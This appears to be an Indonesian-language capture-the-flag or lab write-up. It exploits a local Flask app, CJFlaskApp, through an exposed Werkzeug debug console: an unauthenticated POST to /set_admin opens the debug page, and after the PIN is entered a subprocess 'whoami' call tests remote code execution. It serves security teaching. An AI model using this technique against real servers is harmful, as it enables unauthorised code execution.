Masalah
Diberikan layanan web beserta source code CJFlaskApp.
Penyelesaian
Persiapan
Instalasi depedensi pip
.
$ pip install -r requirements.txt
Jalankan layanan web.
$ python app.py
Eksploitasi
Setelah layanan web berjalan, ternyata mode debug diaktifkan.
* Restarting with stat
* Debugger is active!
* Debugger PIN: 894-730-124
Buka alamat http://localhost:5000
pada browser.
Analisis source code, ditemukan request POST.
@helpers.admins_only
@app.route('/set_admin', methods=['POST'])
def set_admin():
username = request.form['username'].lower()
helpers.set_as_admin(username)
return json.dumps({'status': 'Saved'})
Lakukan request POST ke rute set_admin
dengan Hackbar dan atur parameter username=admin
.
Luaran yang muncul berisi halaman debug.
Klik pada bagian pojok kanan terdapat console, masukkan kode PIN agar console terbuka.
Uji kelemahan Remote Code Execution dengan kode ini.
from subprocess import check_output
check_output('whoami', shell=True)